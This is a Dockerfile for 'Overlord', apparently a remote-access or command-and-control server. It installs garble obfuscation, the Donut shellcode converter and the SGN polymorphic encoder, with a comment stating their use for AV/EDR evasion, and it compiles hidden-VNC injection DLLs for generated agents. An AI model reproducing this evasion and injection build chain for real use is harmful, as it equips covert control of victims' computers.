Files
overlord/Dockerfile
T

187 lines
7.4 KiB
Docker
Raw Normal View History

# syntax=docker/dockerfile:1.7
2026-05-02 22:19:28 -05:00
# Overlord Server Dockerfile (multi-stage)
#
# Stage 1 (builder): full apt toolchain to compile assets + HVNC DLLs.
# Stage 2 (runtime, slim): only what the server needs at startup. Cross-compile
# toolchains (mingw, aarch64/armv7/musl, Android NDK, ldid, UPX) are downloaded
# on first agent build by Overlord-Server/src/server/toolchain-manager.ts and
# cached in the persistent /app/data volume.
# ============================================================
# Stage 1: builder
# ============================================================
FROM oven/bun:1 AS builder
2026-03-05 00:04:26 -06:00
WORKDIR /app
2026-05-02 22:19:28 -05:00
RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \
--mount=type=cache,target=/var/lib/apt,sharing=locked \
apt-get update && apt-get install -y --no-install-recommends \
build-essential \
gcc-mingw-w64-x86-64 \
g++-mingw-w64-x86-64 \
gcc-mingw-w64-i686 \
ca-certificates \
wget \
curl \
git \
unzip \
zip
2026-03-05 00:04:26 -06:00
2026-04-13 10:49:36 -05:00
ENV GO_VERSION=1.26.2
2026-03-05 00:04:26 -06:00
ARG TARGETARCH
2026-05-02 22:19:28 -05:00
RUN case "${TARGETARCH:-amd64}" in \
2026-03-05 00:04:26 -06:00
amd64) GO_ARCH=amd64 ;; \
arm64) GO_ARCH=arm64 ;; \
*) echo "Unsupported architecture: ${TARGETARCH}" >&2; exit 1 ;; \
esac \
2026-05-02 22:19:28 -05:00
&& wget -q "https://go.dev/dl/go${GO_VERSION}.linux-${GO_ARCH}.tar.gz" \
&& tar -C /usr/local -xzf "go${GO_VERSION}.linux-${GO_ARCH}.tar.gz" \
&& rm "go${GO_VERSION}.linux-${GO_ARCH}.tar.gz" \
&& rm -rf /usr/local/go/test /usr/local/go/api /usr/local/go/doc /usr/local/go/misc
2026-03-05 00:04:26 -06:00
2026-05-02 22:19:28 -05:00
ENV PATH="/usr/local/go/bin:/go/bin:${PATH}"
2026-03-05 00:04:26 -06:00
ENV GOPATH="/go"
ENV GOCACHE=/root/.cache/go-build
ENV GOMODCACHE=/go/pkg/mod
2026-03-05 00:04:26 -06:00
RUN --mount=type=cache,target=/root/.cache/go-build \
--mount=type=cache,target=/go/pkg/mod \
go install mvdan.cc/garble@latest
2026-03-05 00:04:26 -06:00
2026-05-13 23:55:51 -04:00
# Pre-fetch the latest Donut shellcode converter binary.
# The runtime donut-manager will re-check GitHub and update automatically;
# this step just ensures a working binary is available offline / on first use.
RUN DONUT_TAG=$(curl -sSf "https://api.github.com/repos/TheWover/donut/releases/latest" \
| grep '"tag_name"' | head -1 | cut -d'"' -f4) \
&& ARCHIVE_URL="https://github.com/TheWover/donut/releases/download/${DONUT_TAG}/donut_${DONUT_TAG}.tar.gz" \
&& if curl -sSfL "${ARCHIVE_URL}" | tar xzf - --strip-components=0 -C /usr/local/bin ./donut 2>/dev/null; then \
chmod +x /usr/local/bin/donut; \
echo "Donut ${DONUT_TAG} pre-installed from archive"; \
else \
echo "WARNING: Donut pre-fetch failed — will fall back to system PATH or download on first use"; \
fi
# Pre-fetch the latest SGN (Shikata Ga Nai) polymorphic encoder.
# Used post-Donut to encode raw shellcode for AV/EDR evasion. The runtime
# sgn-manager will re-check GitHub daily and update automatically; this
# step just ensures a working binary is available offline / on first use.
RUN SGN_ASSET=$(curl -sSf "https://api.github.com/repos/EgeBalci/sgn/releases/latest" \
| grep -oE '"browser_download_url":[[:space:]]*"[^"]*sgn_linux_amd64[^"]*\.zip"' \
| head -1 | cut -d'"' -f4) \
&& if [ -n "${SGN_ASSET}" ] && curl -sSfL "${SGN_ASSET}" -o /tmp/sgn.zip \
&& unzip -j -o /tmp/sgn.zip -d /usr/local/bin >/dev/null 2>&1 \
&& [ -f /usr/local/bin/sgn ]; then \
chmod +x /usr/local/bin/sgn; \
echo "SGN pre-installed from ${SGN_ASSET}"; \
else \
echo "WARNING: SGN pre-fetch failed — will fall back to system PATH or download on first use"; \
fi \
&& rm -f /tmp/sgn.zip
2026-05-02 22:19:28 -05:00
# Full bun install (includes devDeps needed for tailwind / vendor / minify steps)
2026-03-05 12:50:16 -06:00
COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./
2026-05-02 22:19:28 -05:00
RUN --mount=type=cache,target=/root/.bun/install/cache \
bun install --frozen-lockfile
2026-03-05 00:04:26 -06:00
2026-05-02 22:19:28 -05:00
# Server source (Overlord-Server/dist-clients may carry pre-built MSVC DLLs from CI)
2026-03-05 00:04:26 -06:00
COPY Overlord-Server/ ./
2026-05-02 22:19:28 -05:00
# HVNC sources for the cross-compile fallback (used only if no pre-built MSVC DLL).
2026-05-22 20:34:20 -05:00
COPY BackstageInjection/ ./BackstageInjection/
COPY build-backstage-dll.sh ./build-backstage-dll.sh
COPY BackstageCapture/ ./BackstageCapture/
COPY build-backstage-capture-dll.sh ./build-backstage-capture-dll.sh
2026-04-16 10:01:49 -05:00
2026-05-02 22:19:28 -05:00
RUN mkdir -p dist-clients && \
2026-05-22 20:34:20 -05:00
if [ -f dist-clients/BackstageInjection.x64.dll ]; then \
echo "Using pre-built MSVC BackstageInjection DLL"; \
2026-03-12 00:38:56 -05:00
else \
2026-05-22 20:34:20 -05:00
chmod +x build-backstage-dll.sh && \
HVNC_SRC_DIR=BackstageInjection/src HVNC_OUT_DIR=dist-clients bash build-backstage-dll.sh || \
echo "WARNING: BackstageInjection DLL not available (build with MSVC on Windows)"; \
2026-03-12 00:38:56 -05:00
fi
2026-03-11 23:11:44 -05:00
2026-05-22 20:34:20 -05:00
RUN if [ -f dist-clients/BackstageCapture.x64.dll ]; then \
echo "Using pre-built MSVC BackstageCapture DLL"; \
2026-04-16 10:01:49 -05:00
else \
2026-05-22 20:34:20 -05:00
chmod +x build-backstage-capture-dll.sh && \
HVNC_CAPTURE_SRC_DIR=BackstageCapture/src HVNC_CAPTURE_OUT_DIR=dist-clients bash build-backstage-capture-dll.sh || \
echo "WARNING: BackstageCapture DLL not available (build with MSVC on Windows)"; \
2026-04-16 10:01:49 -05:00
fi
2026-05-02 22:19:28 -05:00
# Tailwind CSS + vendored frontend assets
2026-04-18 21:50:33 -05:00
RUN bun run build:css && bun run vendor \
&& test -s ./public/assets/tailwind.css && test -d ./public/vendor/fontawesome
2026-03-05 12:50:16 -06:00
2026-05-02 22:19:28 -05:00
# ============================================================
# Stage 2: runtime (slim)
# ============================================================
FROM oven/bun:1-slim AS runtime
WORKDIR /app
# openssl/ca-certificates: TLS cert generation + HTTPS validation.
# wget/tar/unzip/xz-utils: required by toolchain-manager for on-demand downloads.
# clang: fallback C compiler for darwin/CGO agent builds (no toolchain mapping in
# toolchain-manager.ts, so build-process.ts falls back to the default `cc`).
2026-05-02 22:19:28 -05:00
RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \
--mount=type=cache,target=/var/lib/apt,sharing=locked \
apt-get update && apt-get install -y --no-install-recommends \
openssl \
ca-certificates \
wget \
tar \
unzip \
xz-utils \
git \
clang \
2026-05-02 22:19:28 -05:00
&& rm -rf /var/lib/apt/lists/*
# Reuse Go + garble from the builder so we don't re-download.
COPY --from=builder /usr/local/go /usr/local/go
COPY --from=builder /go/bin/garble /go/bin/garble
ENV PATH="/usr/local/go/bin:/go/bin:${PATH}"
ENV GOPATH="/go"
ENV GOCACHE=/root/.cache/go-build
ENV GOMODCACHE=/go/pkg/mod
# Production-only node_modules (drops tailwind, terser, postcss, typescript, ...).
COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./
RUN --mount=type=cache,target=/root/.bun/install/cache \
bun install --production --frozen-lockfile
# Server source.
COPY Overlord-Server/ ./
# Built artifacts from the builder stage (overwrites anything from the source copy).
COPY --from=builder /app/public ./public
COPY --from=builder /app/dist-clients ./dist-clients
# Go agent source needed at every agent build.
COPY Overlord-Client/ ./Overlord-Client/
RUN mkdir -p certs data
2026-05-13 23:55:51 -04:00
# Pre-seed Go module cache so first agent builds work offline.
RUN --mount=type=cache,target=/root/.cache/go-build \
--mount=type=cache,target=/go/pkg/mod \
cd /app/Overlord-Client && \
GOWORK=off \
GOMODCACHE=/go/pkg/mod \
go mod download
2026-03-05 00:04:26 -06:00
EXPOSE 5173
ENV PORT=5173
ENV HOST=0.0.0.0
ENV DATA_DIR=/app/data
ENV NODE_ENV=production
2026-04-18 22:38:08 -05:00
ENV OVERLORD_ROOT=/app
2026-04-27 21:24:38 -05:00
ENV NODE_PATH=/app/node_modules
2026-03-05 00:04:26 -06:00
2026-05-02 22:19:28 -05:00
# NOTE: We intentionally do NOT use `bun build --compile` here.
# The compiled standalone binary runs from a virtual bunfs filesystem that
# cannot reliably load native modules like `sharp` from /app/node_modules.
CMD ["bun", "run", "src/index.ts"]